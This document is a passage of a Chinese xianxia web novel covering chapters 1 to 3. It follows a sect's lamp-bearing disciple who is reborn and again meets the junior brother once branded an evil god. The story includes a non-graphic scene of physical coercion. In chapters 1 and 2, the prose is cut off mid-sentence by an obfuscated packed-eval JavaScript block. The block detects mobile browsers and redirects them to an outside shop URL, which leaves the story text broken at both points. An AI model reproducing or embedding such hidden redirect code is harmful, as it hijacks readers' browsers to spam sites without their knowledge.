《我师弟竟是灭世邪神》 1. 第 1 章 回到太清宫已有月余,每逢阴雨连绵日,楼明月还是会梦到上辈子的事情。 沧澜二十五年,宗门里向来温顺谦卑的师弟,突然被钉上了“灭世邪神”的罪名。 天翎三宫共同下发通缉令,数峰弟子倾巢而出,奋力追杀。 楼明月起初是不信的。 所以当师兄贺玄音敲响她的房门,问她有没有见过顾钧寒时,她矢口否认,包庇了在她闺房内藏身的小师弟。 外头雨丝淅淅沥沥,贺玄音肩头早已洇开一片湿痕,头上斗笠的檐角,还在止不住地往下滴水。 他叹道:“师父尚在闭关,太清宫却出了这样的败类,你我身为内山弟子,得早日将他缉拿归案给其他两宫一个交代才是。” 他声音一顿,略有些尴尬:“他素日跟在你身后,对你…多有仰慕爱恋之情,在你面前可曾有什么异常之处?” 楼明月闻言垂眸,短暂沉思着。 顾钧寒在她身旁伺候了八年,异常之处倒是也有…… 可对方现在就在她房内坐着,她又不傻,有也不能当着面儿说啊。 于是她摇了摇头,再次否认。 贺玄音叹了口气,有些失落。他正了正斗笠,走前最后提醒道: “他的身份已经确认,你若见了他切莫心软,一定要将他缉拿回宫!” 天翎宗,是整个玉京的第一大宗。其下分设三宫,太清宫、少微宫、玄英宫,三宫内各以宫主和掌灯弟子为首。 楼明月是太清宫的掌灯弟子,师父楼溪滕尚在闭关。如果顾钧寒真的是邪神,她作为掌灯弟子势必得将其缉拿。 “师兄,我知道了。” 她扯出一抹温和的笑,点头应下。 贺玄音的身影渐远,几乎与山中雨幕融为一体。楼明月这才将门关上,快步朝着屋内走去。 屏风后那人的身影若隐若现,修长的指骨一把扯下腰带,三两下褪去了带血的上衣,露出劲瘦有力的腰腹。 他刚要处理伤口时,天诛鬼手的毒素发作,疼得他失力跌坐在地。 顾钧寒来找她的时候,就已经中了戒堂长老的一掌。这一掌恰奔心脉,毒素很快便会蹿便全身。 房间里的熏香味道很呛,勉强盖住了他身上浓重的血腥气。 但贺玄音了解她的品味,突然焚这样重的劣质香,难保不会被他怀疑。 所以,楼明月得在他杀个回马枪前,得到她想要的真相。 少年后背抵着塌沿,上身赤裸,胸腹如浪潮般剧烈起伏,粗重的喘息声在空荡的室内撞得愈发低沉。 这毒如附骨之疽,磨得他双眸涣散失神,喉间滚出的尽是野兽般的嘶哑低吼。 “阿寒,到塌上去,我给你上药。” 少女声音清冽,有着春风化雨般的柔情,一句话唤回他不少理智。 不过,楼明月虽然说得温情,眼中却不带分毫情感,眼尾扬起的弧度也假到了极致。 她和顾钧寒师姐弟八年,对方照顾她照顾得很细致。 照理说她不该讨厌他,可她对他就是生不出一丝欢喜,甚至愈发厌恶。 只要一靠近他,血脉里就有什么压制不住的东西,叫嚣着让自己杀了他。 她眼底深藏的冷意被顾钧寒精准地捕捉到,他咧嘴,扯出一抹意味深长的笑容。 “师姐,这么讨厌我就别忍了。” “刚好,我也不想忍了。” 他利落地站起身,松松垮垮地穿上了一层里衣,调了调跑到颈后的项链。 全程动作行云流水,慵懒又随意,先前的痛苦不堪和狼狈全然不见。 胸膛伤口上的毒素仍在扩散,如蛛网般密行经脉,于他而言却并无影响。 顾钧寒盯着她,眼神沉得发直。 浓艳的眉峰蹙起,心里翻腾的怒气裹在唇畔那抹似笑非笑里,像平静湖面下暗涌的激流,看得人心里发紧。 楼明月没忍住眉头一跳,有些惊讶:“你是装的?” 顾钧寒嗤笑一声。 “贺玄音都说我是灭世邪神了,我怎么可能挨了一掌就重伤不治呢?” 楼明月右手垂落身侧,润白指尖乍现青光,一柄玉棍应势而出,稳稳握于掌中。 顾钧寒看着她戒备的动作,眼神瞬间冷了下来。少年原本昳丽秾艳的面容,如今分毫笑意都无法维持。 漆黑的瞳,高挺的鼻,锋利的颌骨,失了笑意后堆叠在一起,显得格外阴郁。 “楼明月,你的心真冷。” “你巴不得我是邪神,这样就有一个名正言顺的理由,光明正大地表现对我的憎恶。” “就算有人问你,那个总跟在你身后的可怜虫怎么会是邪神,你也只会淡淡评价一句,是他咎由自取……” 楼明月闻言一愣,反应过来他话里话外都是在埋怨自己。 “我不明白你在说什么。” 楼明月抬臂,青色玉棍横在两人之间。 “大名鼎鼎的邪神,却假冒身份混入太清宫,我身为太清宫的掌灯弟子,缉拿你是天经地义———” 楼明月脉中灵气悉数汇聚,手中握棍,顷刻间朝他飞杀而去。 强悍的灵杀袭来,如狂风卷浪,似万刃齐发,带着令人窒息的压迫和碾碎一切的威严。 这一击没有留情。 如顾钧寒所言,楼明月在确认他邪神的身份后的确轻松了不少。 血脉里对他疯狂的杀意终于寻到了泄口,不自觉就下了重手。 然而这样强悍的一招,却在近他身的那一刻便烟消云散。 突如其来的变故,让她愕然顿住,浑身动作僵硬。 “你竟有这般本事……” 顾钧寒看着离自己极近的人,勾了勾唇,身子又往前凑了一步。几缕发丝顺着凉风拂起,缠在她脸侧激起几分痒意。 她在心里暗骂一声,立即退避。 对方不慌不忙,骨节分明的手指勾住颈间的项链往外一扯,露出藏在里衣的吊坠。 “认认这是什么?” 楼明月的视线向下转,项链上的坠子不是金银珠玉,而是一枚散发着莹蓝光芒的妖珠。 这是,她的妖珠…… 楼明月眸色一凝,大脑一片空白。 当她想要回忆时,却发现自己竟完全不记得妖珠是何时不见了的。 他拿了自己的妖珠,难怪自己伤不了他。 楼明月是半妖,半妖之身一直都是她的秘密。 世人皆知她的母亲楼芷若,是已经大乘飞升的仙子,却没料到她的父亲、这位仙子的丈夫竟会是一个低贱妖族。 在楼明月的记忆里,除了师父楼溪滕外,她从没向任何人袒露过这个秘密。 顾钧寒…… 他是怎么知道的,他又是什么时候偷走了自己的妖珠? 为什么她全都不记得了呢? 她在心里诘问自己,楼明月,这样重要的事情,你也能忘的一干二净吗? 顾钧寒对她的反应意料之中,沉声幽幽道:“你连自己的妖珠都不记得,又怎么会记得我呢?” 楼明月伸手去抢,却被他巧妙地躲开。 她瞪着他气愤道:“你跟在我身边八年,竟做下这般苟且之事!” 她指责他偷了自己的妖珠。 顾钧寒闻言笑了,恶狠狠地磨了磨齿间,凑在她耳畔,低哑着嗓音一字一句道: “师姐,这是你亲手送给我的……” “胡说八道!” 楼明月赤手空拳地同他打了起来,他站着不躲,右脸很快挨了一拳。 “砰”的一声闷响,他半边脸颊泛起红肿,被打之后没有不悦,反而愈发兴奋了起来,湿漉漉的眼神直勾勾地盯着她。 他好久没有看到过,这么鲜活的师姐了…… “师姐,忍一忍。”他蓦然开口。 楼明月还在疑惑他话中之意,下一秒顾钧寒叩住她的手腕,将她强行拽到榻上,径直压在身下。 突如其来的天旋地转让她漂亮的眸子怔了两秒,她看着眼前逐渐逼近的人,陡然震怒。 “混账!你想做什么?!” 两人相识八年,顾钧寒一向是温其如玉的君子做派。 即使偶尔会在细枝末节上暴露出自己恶劣的本性,但也从未像今天这样逾矩过。 楼明月瞪着他,打定他不敢对自己动手。 然而,她还是太高看邪神了。 八年岁月长,他从未展露过真面目,她也从未看清过对方的本性。 顾钧寒松开了锢着她腕部的手,转而捏住她的下颌,逼着她张开了红唇。 他身上有自己的妖珠,因此她不能用灵气去驱赶他,单凭着力气攀上他结实的臂膀,想要将他圈住自己的胳膊给掰开。 没人知道他想干什么。 对自己的师姐做出此等冒犯的举动,另一只手却死命摁压在自己胸膛的伤口上。 他闷哼一声,忍着钻心的痛意。 直到四根指腹裹满黏腻的甜腥,混着滚烫的血温,他俯身将手指径直探入她唇间,逼着那口心头血,被她一寸寸咽进喉里。 “混…呜…混账!!” 她的声音都被搅碎,眼中泛起一层血红薄雾,呜咽声中含着极大的屈辱,贝齿报复性地咬住他的手指。 楼明月直奔着把这狂徒骨头咬断的架势,疼得他倒吸了几口凉气。 他感受着指腹传来的尖锐痛感,咧嘴笑得分外猖獗:“乖,指尖血没用。” 心头血在她体内起了反应,一股热潮袭来,像要将她的四经八脉炙烤焚烧般猛烈。 楼明月想要催吐时已经无济于事,她的识海内景中,倏尔燃起一场熊熊烈火。 火光缭绕,烧得整个识海天翻地覆不得安宁,于内景的中心处,陡然生出一棵扎根极深的参天大树来。 楼明月感受着突然出现的那棵树,动作霎时一僵。 那是传说中的“三寸伏心树”。 三寸伏心树,是无情道修者的道心圣树。 随着三寸伏心种的一点点长大,树生枝丫,花开叶茂,人的情感记忆也会随之被封印。 得此树者,修炼之路将事半功倍。 楼明月下意识地看向顾钧寒,脱口而出问道:“这是你种的?” 他冷哼一声,嗤笑道:“我脑子被驴踢了,才会给你种这种该死的东西!” 他攥住她的手腕,猛地把人拉到身前。 楼明月被迫“扑”在他身上,靠近他的那一刻瞬间眉头紧拧,识海中的三寸伏心树也稍稍异动。 她对他的厌恶瞬间充斥心间,甚至泛起杀心。 这棵树连通着她的意识,不断挑唆着她动手。 她看着眼前咫尺距离的少年,那截脖颈修长如竹,肤白胜雪,近得能看清表皮下隐隐流动的浅青脉络。 血热余温仿佛透过皮肤,紧着空气缠绵上她的指尖,她鬼迷心窍地攀了上去,掌心蕴藏的灵杀蠢蠢欲动。 顾钧寒见她凑近唇角微勾,一手掌住她的腰腹,将她锢在怀里,于耳畔娓娓道。 “这个世上最想让你记起来的人是我,最不想让你记起来的自然是——” 顾钧寒话音未落,房门“砰”的一声被人踹开。 山间飘摇的风雨灌入屋内,彻骨的冷意让她陡然回神。 她回头,发现房里来了许多人。 不止师兄贺玄音,玄英宫的温珒怀,少微宫的陆泊禹,稽查司的裴九思和鹿瑾…… 一个个的熟人冤家,竟然都来了。 顾钧寒身份暴露逃得不知所踪,昔日和他关系最为密切的楼明月就成了众矢之的。 怀疑的种子一旦种下便不可罢休,几人就算挨板子领罚,也要一探究竟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059035|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺玄音没有拦住他们,也没来得及给她通风报信。 二师兄周漾姗姗来迟,撞开人群闯入其中,看到两人榻上缠绵的这副场景目瞪口呆,脑中顿时响起一阵嗡鸣声。 “明月!你疯了吗?!” “他强迫你…是他强迫你,一定是他强迫你!” 周漾名义上是她的二师兄,但两人关系不错,她平日里都直接称呼他为二哥。 她从塌上起身,看了眼依旧神情散漫的顾钧寒。 他只着了一层里衣,穿得还松松垮垮,轻易便可窥见内里胸怀,脸上神情戏谑,轻浮又欠揍。 两个人双双倒在榻上,动作亲密,彼此距离更是近到不堪容一物。 她“啧”了一声,想着这下跳进黄河也洗不清了。 说自己其实是想杀了他,会有人信吗? 她的死对头陆泊禹,闻言冷笑一声,“强迫?我看她挺享受的。” “师姐弟八年情谊深厚,有此一遭不足为奇。但你包庇私情之人是邪神!堂堂掌灯弟子竟置三宫安危于不利,自当拿下受审!” 太清宫,先是出了一个秘密卧底在宗门的邪神,后是掌灯弟子与邪神共处一塌,关系密到不可告人。 这下可给其他两宫留足了把柄。 连一向严谨的温珒怀都喝道: “稽查司何在?” “把这两人压入牢狱,请三宫集会庭审——” “等等!!” 青衣长袍的周漾张开双臂,只身挡在稽查司前,义正言辞道:“抓邪神就抓邪神,与明月何干?” “我家明月自小长在太清宫,她没做过对不起天翎宗的事,纵然一时被男色迷昏了头,也不当被列为罪人!” 楼明月:……确定是在维护我吗? 温珒怀瞥了他一眼,“事涉三宫,你没资格阻拦。” 顾钧寒这才从榻上起身,草草套上衣物。在她身后勾唇笑着,低沉的嗓音无辜似地问道: “师姐,这下怎么办,我好像成了你的姘头了。” 她头也不回道: “那你就一头撞死,搏个清白。” “……” “不好。”他捻了捻手指,回忆着她发丝的触感。 “清白算什么东西,值得我隐忍多年又放手一搏的,只有你。” 出乎所有人意料之外的是,顾钧寒压根没把他们放在眼里。 平日里修为本事都藏着掖着,在三宫云集的弟子中看起来十分平庸。今日打起来才教众人幡然醒悟,人家大小也是个邪神,他们哪里是对手? 三两招就放倒了在场所有人,众目睽睽下,拽着楼明月的手腕堂而皇之地离去,边走边道: “三日后,是我和师姐大婚的日子。同门一场,我欢迎诸位观礼——” 楼明月现在还不能对他动手,只在心里盘算着如何取回自己的妖珠。 身后传来一声震响,阴沉的天幕被一只展翅的青色鸾鸟破开重云,燃出别样的焰火图案。 玄英宫,同为掌灯弟子的温珒怀,放出了自己的“上宫令”。 上宫令,是三宫中每个掌灯弟子的一张底牌。 它短暂取消了宗内的一切限制,勒令所有长老和弟子放下自己手头的最高任务,立刻往宫令放飞处赶来。 凡天翎宗弟子,见此令者,千里赴途,万里归召,毋敢稍怠——— 地上的温珒怀已经竭力,虽是浑身麻痹,说出来的话却依旧铿锵有力。 她瞪着两人离去的方向,咬牙道:“我天翎宗……不是什么阿猫阿狗想闯就闯的地方!” 突如其来的一枚上宫令,召来了千千万万的弟子做阻拦。 顾钧寒带着本就不配合的楼明月,行步艰难。 风雨簌簌拍打着,仿佛也在有意为难,两人逃亡的路上不幸坠入摘星崖…… 一股失重感传来,榻上的楼明月从梦中惊醒。她猛然起身,一手捂着胸口,眉头紧拧着在床头急喘。 房门“吱呀”一声被人打开,楼明月抬头,看到了一张熟悉的脸。 贺玄音径直走近,替她打开了紧闭的窗门,让屋外的凉风徐徐灌入。 “外头放晴了,你这些日子总做噩梦,还是把窗户打开透透气吧。” 楼明月揉了揉脑袋,渐渐回过神来。 “师兄,我有些睡糊涂了,近日是什么日子?我怎么好像听到两声礼鸣……” 贺玄音闻言抬头看了她一眼,无奈道:“苍梧山传来的声音,是师父要收新徒弟了。” “周漾昨日刚筛出来的名单,今天那几个弟子,已经去参加最后一轮的殿试了。” 他神情稍顿,想起什么,将一本册子扔给她。 “师父说也教你也挑一挑,选一个近身伺候的。” 楼明月闻言眉头一皱,这是沧澜十七年发生的事。 师父的收徒大典,要她在剩下没被选中的几个人中,择一个弟子做近侍。 上辈子的她拒绝了,身边自然没有什么近侍。 但顾钧寒总是上赶着往上凑,就混成了她名义上的“师弟”,实际上的“近侍”。 沧澜十七年…… 她眸色一凝。 沧澜十七年,正是顾钧寒成为内山弟子的这一年。 她重生回到了两人还不曾相识的这一年。 “既是师父的择徒大典,让我去选一个近侍,恐怕不太合适吧?” 她照例问道。 贺玄音:“嗐,师父她老人家说了,剩下的纵然不能做内山弟子,能做你的近侍也是好的,总比白跑一趟强。” “我瞧着,倒有两个不错的人选。” “一个叫陆南星,另一个叫顾……大寒还是小寒来着?” 楼明月翻开册子一看,映入眼帘的第一个名字,赫然就是那三个大字。 顾…钧…寒 2. 第 2 章 天翎宗分三宫授教, 太清宫、玄英宫、少微宫。 若论实力,当属楼氏执掌的太清宫为上。 楼明月的母亲楼芷若,于十七年前飞升上仙,自此奠定了太清宫三宫之首的地位。 楼芷若飞升之后,将自己的女儿托付给了妹妹,也就是现任太清宫宫主——楼溪滕。 楼溪滕的收徒大典五年一举,是宗内门槛最高,规格最大的晋升选拔赛。 从参赛的几万弟子中层层筛选、场场竞比过后,现在站在苍梧山大殿前的,也就只有五个人。 晋安陆氏,陆南星。 蓬山禾氏,禾蔚。 原掌教三阶弟子,沈翬。 原外山侍奉弟子,蒋微明。 原外山扫阶弟子,顾钧寒。 他们中有的本就是宗门里的外山弟子,有的则出自修仙大家。 不论是谁,只要在最后一轮被选中,都会一跃成为太清宫的内山弟子。从此受宫主教诲,成为门下亲传内徒。 楼明月赶到的时候,宫主心里已经拿定主意。她从座上起身,欲要授与对方内山弟子才持有的宫令。 上辈子,宫主选的是顾钧寒。 这辈子如果她不做阻拦的话,也应当是顾钧寒。 她前脚刚踏入殿内,顾钧寒那厮已经在宫主的示意下跪着了。 少年伏跪在地,身躯不似她记忆里的魁梧。 高挑瘦弱,空荡的衣袍裹着细腰,苍白指尖抠地嵌尘,脊背发颤,清瘦得像株霜打细竹。 这样的人,很难想象他是如何在虎豹豺狼的竞比中夺得魁首的。 她眉头微蹙,有些不可置信。 顾钧寒……从前有这般落魄吗? “师父——” 她顾不及想那么多,先喊了一声,匆匆打断了仪式。 楼溪滕手上动作顿住,听到熟悉的声音后,眼尾浮上几缕细纹,面上神色逐渐由严厉转为欣喜。 “是明月来了啊。” 此话一出,众人的视线纷纷朝殿门汇聚。 就连跪在宫砖上即将受封的少年,也动作一僵,修长的手指微蜷,压制着偏头探看的心思。 楼明月的名气很大,不止在天翎宗内,乃至于整个玉京都名声不小。 这点,除了因为母亲是飞升仙人外,还要归功于她额头上那块儿天生“神印”。 她自出生时,额头上便有一浮光印记。 从前也被人怀疑过是妖族才有的妖印,但楼溪滕带她去过百妖谱察司。百妖谱上载有天下诸般妖印,却未曾查出她的妖种。 加上她身上并无妖气,出身天翎宗楼氏,母亲又是大乘飞升的仙子。 人们便传,她头上的当是“神印”。是仙人转世,才特有的神印。 仙人转世的名头,吸引了不少人拜入天翎宗求教,顾钧寒就是其中之一。 只是他求的,与旁人极其不同…… “师父,您这心都偏到嗓子眼儿里了,我和师兄也来了,您怎么瞧不见我们呢?” 一身青色长袍,风里流气的男子跨步入殿,斜步扬唇揶揄着。贺玄音素衣敛袖,不徐不慢地跟在他身后。 “二哥。” 楼明月回头,乖巧地唤了一声。 周漾咧嘴一笑,“得了,就凭你这句二哥,我就暂且叛变,留贺玄音一个人争风吃醋去。” 贺玄音白了他一眼。 三人逐渐走近,楼溪滕见到他后神色急转直下,铁青着脸冷哼一声。 “平日里没个正经,如今丢人都丢到玄英宫去了,最好让我阖眼之前都见不到你才是!” 玄英宫三个字一出,殿上顿时响起一片低笑声。 楼明月看着众人捂嘴偷笑的反应,在脑海中认真回忆了一下。 沧澜十七年的年前,二哥周漾和玄英宫的温珒怀,这两人的事情闹得鸡飞狗跳,传得沸沸扬扬。 简单概括就是,她一向“励志”要当风流浪子的二哥栽了跟头,哭天抢地给人家当上门女婿都被拒绝了。 师父知道后气了个半死,抄起藤条棍棒,追着他打了三个山头。 “如今你师弟就要进门了,把你那些腌臜气都给我收一收!你若敢把他带成第二个周漾,我定拿你是问!” 周漾嬉笑道:“诶呦,不能不能,这世上也没几个我这样的人,哪儿能都让您遇见不是?” 贺玄音:“你倒是惯会自洽。” “我上头压着一个你,一个明月,我要是不会自洽,早上吊八百回了!” 他话锋一转,看向宫阶下的五人。 “不过…现在嘛,总算是有人来和我做伴了!” “不知师父您选了谁?”贺玄音问。 “这还用问吗,宫令都攥在手上,明摆着还没定呢!” 楼溪滕没有反驳,看了看手中的宫令,似乎又有些犹豫了。 “你们来的倒也巧。” “明月,你眼睛一向厉害,这五个人里面你挑挑,你觉得谁最好?” 众人的视线投向她,似乎谁是内山弟子,只是她一句话的事。 就看明月师姐,肯选谁做师弟。 楼明月的视线一一扫过五人,目光在与顾钧寒短暂交汇后立马躲开。 对方察觉到了这一点,身子挺了挺,眼神紧盯着她不放。 楼明月梗着脖子,随手一指。 “就…他吧。” 他看着憨厚耿直,总比顾钧寒这个阴暗小人强。 地上的陆南星怔了两秒,连忙叩头作谢。 他年纪尚小,面上藏不住喜色。 一双澄澈眼眸净似初雪,扬眉一弯,满是明晃晃的雀跃。 顾钧寒眸色沉了沉,齿牙无声咬紧,下颌线崩得发直。听着他叽叽喳喳的道谢声,只觉得聒噪刺耳。 楼溪滕笑着点了点头,“好孩子,你…就去给明月做近侍吧。” 谁也没料到宫主会这么说,众人傻眼,就连身旁的楼明月也愣住了。 “师父,这是您的收徒大典……” 她抬手止道:“不打紧,你既是掌灯弟子,我本就是要给你选一个近侍在身的。今日英才荟聚,再好不过。” “再说了,做你的近侍不比内山弟子差,难道他们还会不愿意?” 陆南星被这巨大的冲击和转折,刺激得没回过神来,未及时接住宫主的话茬。 顾钧寒躬身作揖,抢道:“若能成为明月师姐的近侍,自是无上荣光。” 楼明月闻言心里发慌,似乎已经猜到他要说什么。 他在众目睽睽之下,高声求道: “师姐,你选我吧———” “……” “……” 大殿瞬间鸦寂无声。 楼明月喉咙一哽,愕然地看着他,半晌说不出一句话来。 所有人都看得出来,宫主虽然问了她一嘴,但心里早已拿定主意。 内山弟子的宫令马上就要递到他手上了,他却在这个节骨眼上,求着去做楼明月的近侍。 陆南星僵硬地转过头,神情复杂地看向他,整个人都懵圈了。 心里想着,内山弟子还不够,他这人怎么既要还要?脸要不要? 陆南星急道:“我、我也愿意的。” 楼明月脸色不太好,吓得他声音也越来越小,与顾钧寒比起来相差甚远。 楼溪滕很高兴,眉梢扬起,神情中带着几分得意。 “说得好!我仙人转世的徒弟,能做她的近侍,自然是无上荣光!” 楼明月闻言手指微蜷,眸光黯淡。 师父还是…… 接受不了她是半妖的事实。 “你根骨不错,人也懂事,往后在太清宫可要勤加修炼啊。” 楼溪滕笑着将宫令递出,地上端跪的顾钧寒却迟迟未出手接过。 他看着楼明月,眼神炙热又恳切,俨然是更想做她的近侍。 这一眼,让楼明月幡然醒悟。 都说邪神潜入天翎宗,是为了窃走镇宗宝物。楼明月此时却觉得,他是为了接近自己。 上辈子她没有选近侍,他成了自己的师弟;这辈子听说她要选近侍,他就不做师弟偏要做近侍。 这分明是有意接近自己。 可他为什么要接近自己呢? 楼明月眉头紧蹙,十分不解,这时候的他和自己分明素未相识。 素未相识…… 至少在她的记忆里是这样的,可她的记忆并不完整啊!她连自己的妖珠是何时不见了的都不记得! 刹那间,楼明月眼中闪过一抹慌乱。 重生一世后,识海中的那棵三寸伏心树也不见了踪迹。 她的记忆仍旧残缺,说明这棵噬人记忆的树,早在沧澜十七年前就已经被人种下。 重生后,除了意识外一切回还。 如果她想找回自己的记忆,想让这棵扎根识海的伏心树显形,就必须再度得到顾钧寒的心头血…… 这么一想,得先让他留在太清宫,日后才好寻机会。 师父已经铁了心要收顾钧寒为徒,她不敢拂逆,只好换个法子让他死心。 楼明月看向一旁的陆南星。 “昆吾山冷清,你自小在中州晋安长大,不知能否适应呢?” 昆吾山是掌灯弟子楼明月的居所,他怔了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059036|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒,意识到对方是有意收自己做近侍。 他顿时喜笑颜开:“谢谢师姐!我能、我肯定能适应!” 果然,楼明月开口后没过两秒,顾钧寒就“老老实实”收下了宫令。 楼溪滕身子不适,递出宫令后贺玄音便扶着她回寝宫休息了。 余下一干人大眼瞪小眼。 “师姐,不是向来不喜欢人伺候身侧吗,怎么突然会收近侍?” 顾钧寒咬牙发问,嘴角强撑着一抹笑意,眼中写满了不甘。 早知如此,他就该得第二。 纵然他不能跟在师姐身侧,也不应该让别人靠近师姐半步! 他暗中攥紧掌心,指节泛白嵌进肉里,压抑着心底疯涌的嫉妒。 楼明月不知道怎么回他,凭着曾经八年的相处,已经看出他微笑面庞下的异常。 他这个样子,恐怕…已经对陆南星起了杀心。 陆南星并未察觉到什么不对劲,心思单纯,人也乐呵。 “说明我运气好啊,师姐有心照拂我!” 他拍了拍顾钧寒的肩膀,憨笑道,“顾师哥,以后咱俩就是同门了!” “谁跟你是同门?”他冷眼反驳。 “我是师姐的同门师弟,你只是她身旁伺候的近侍,你我如何是同门?” 陆南星声音一顿,面上尽是无措,这人翻脸怎么比翻书还快? 他有点儿委屈。 “你…你刚才不还说近侍是无上荣光吗,你怎么瞧不起人呢!” 顾钧寒被堵得说不出话来。 楼明月看着他吃瘪的样子,没忍住笑了一声。 收徒大典后,顾钧寒依旧成为了自己的师弟,唯一和上辈子不同的,就是太清宫内多了一个陆南星。 他跟着楼明月上了昆吾山,楼明月住在正殿,他住在偏殿。 每日打扫殿宇,照顾师姐的饮食起居,然后静心修行。 楼明月每天都在苦恼,如何才能顺理成章地得到顾钧寒的心头血。 毕竟,她还不知道是谁给自己种下了这棵三寸伏心树。这件事关系重大,冒然声张只会打草惊蛇。 顾钧寒那厮,住在内山弟子群居的翠微山并不规矩。和上辈子一样,三天两头就往昆吾山跑。 楼明月怕他对陆南星下手,几番敲打过陆南星,让他离顾钧寒远一点。 但她实在不知,顾钧寒笼络人心竟也是一把好手。 明明前两天还同他剑拔弩张的傻小子,如今竟成了他的小弟一般,恨不得对他唯命是从。 他来昆吾山不过三四天,再次出现在楼明月眼前,就已经浑身挂彩,摔断了一条胳膊。 楼明月问他是怎么成这样的? 他年纪小,得了句关心后,眼泪瞬间夺眶而出,呜咽道:“我去摘星崖…采…采灵芝,脚下一滑就摔下去了。” 她眉头紧蹙:“摘星崖是何等险地,谁逼你去采灵芝的?顾钧寒?” 他摇了摇头,抽噎道: “不…不关顾师哥的事,他劝过我别去,是、是我自己执意要去的。” 楼明月闻言眉头一挑。 “他劝你?” 楼明月简直恨铁不成钢,他怎么会有这么好心,他不杀了你都不错了! “你初入天翎宗,是谁告诉你摘星崖产有灵芝一事的?” 摘星崖是天翎宗内最深的断崖,壁立千仞直插云际,崖顶风卷流云,仿佛能触摘星河。 危险程度基本与禁地同列,平常少有人至。 不摔残一回,都难知其中奥秘,更别提那崖壁上长了什么。 陆南星擦干了眼泪,解释道:“是顾师哥跟我说的,他说你最近气色不好,得用灵芝来补。我是师姐的近侍,当然得好好照顾师姐!” 她冷哼一声,心道,果然是顾钧寒的手笔。 可惜她不能拆穿他,与其撕破脸让他把自己掳回邪殿,不如演演戏,让他安安分分地待在天翎宗。 只是…… 楼明月看着陆南星的惨状,不禁眉头一蹙。 陆南星性子单纯憨厚,没什么心眼。再吃多少亏也猜不出其中门道,只乐呵地往她身前凑。 以顾钧寒的妒性,他就是活的过今日,也活不过明朝。 “你去告诉顾钧寒,从今天起,他的早晚修训由我着手教管。” 修训新入内弟子,本是二哥周漾的差事。想来他也是没怎么管,才让顾钧寒整日闲到昆吾山来。 如今她把顾钧寒调到自己眼皮底下,亲手教管。 一来,是为了消除他的嫉妒,亲自监管着免得他再对陆南星下黑手;二来,也是为了寻找机会,取走他的心头血。 3. 第 3 章 上辈子没有陆南星,昆吾山的偏殿一直被顾钧寒“霸占”着。 楼明月看不透这个总跟在自己身边、殷勤伺候的小师弟,想着既然是师父的关门弟子,自己作为师姐理应照料宠惯些,也就随他去了。 他对她的喜好拿捏得很准。 即使楼明月不曾表达过任何观点,他只一眼,就能瞧出合不合她的心意。 满山门的宫婢,再没有比他侍奉得更得心的一个了。 她从前并不讨厌顾钧寒,只是在伏心树的催化下,难免对他生出杀心。 一边压抑着动手的冲动和血脉里的暴躁,一边看着他像小狼崽子一样黏着自己,实在难捱。 这辈子,陆南星是她正儿八经的近侍,自然住在昆吾山的偏殿里。 昆吾山没有顾钧寒的卧榻之地,他也不嫌麻烦,在两个山头间来回跑。 知道师姐要亲自教管自己后,他惊喜得一夜未眠。 翌日辰时,早早便出现在了昆吾山。 楼明月刚推开房门,未及抬眼,就听见远处传来一句脆声声的,扬着兴奋之音的“师姐”。 她循声看去,一瞬间心神恍惚。 十七岁的顾钧寒,立在一棵叶影婆娑的栾树下。 一袭白衣银边的劲装,马尾高束,眼神干净澄澈。见到她后眼尾上扬,浮满笑意。 和那日满脸阴鸷,把她锢在榻上强灌心头血的男人截然不同。 十七岁的他身上少年气重,光瞧这副好皮囊,自是看不出心里的龌龊。 正值晚秋,清晨的曦光还压不住风里的凉意,他在门前等的久了,面色被吹得有些苍白。 “下次不必来这么早。” 楼明月扔下这么一句话,转身往大殿内走去,顾钧寒快步跟在她身后。 他高兴地笑着,声音混在风里,如同风铃般清脆明朗。 “能得师姐指点,自然应该早些来殿前等候以示尊重。” “不过……” 他话锋一转,嘴角噙着一抹暗笑。 “陆南星呢?他可是师姐的近侍,应该伺候师姐才是,怎么这个点还不见人影?” 楼明月听出他话中的挖苦,抬了抬眼皮,不动声色道:“他年纪小,我免了他的早修。” 顾钧寒不说话了,脸上笑意渐渐褪去,一双漆黑的眼眸沉了下来,眉宇间再次覆上一层阴郁。 他暗自咬牙,气得攥紧了拳头。 他见不得楼明月偏袒别人,一丁点儿都见不得。 从前还是扫阶弟子的时候,但凡听说哪个弟子受过师姐的恩惠,痴心妄想生出了几分不该有的情愫,就立马同人大打一场,非打到对方断情绝爱、看破红尘不可。 陆南星作为离楼明月最近之人,自然是他的眼中钉、肉中刺。 于他而言,非灭非拔不可。 走在前头的楼明月脚步一顿,也幡然醒悟,自己这些话无异于把陆南星往火坑里推。 于是她换上一副笑脸,蓦然转身,对着顾钧寒语重心长道: “你是我师弟,他只是我身边的近侍,师姐自然希望…能够把时间和精力都放在你身上。” 顾钧寒受宠若惊,一时竟愣住了。 “师姐…当真如此看重我?”他问。 狭长眼尾浮上几分不可言说的笑意,漆黑的双眸仿佛化作一双钩子,勾住她蓬勃跳动的心不放。 他这副神情,楼明月忽然有些看不透了。 她自认为比他多了个上辈子,多活了几十年,面对顾钧寒这个她熟悉的不能再熟的人,合该一眼看透才是。 她嘴角笑意微僵,强撑着应和,可惜演技不高,眼底依旧透着两分假。 “当然,你可是我唯一的师弟。” 顾钧寒不知怎么了,她越是奉承讨好,他越是不高兴。 脸上的笑意冷了下来,说话时声音也沉稳了些。 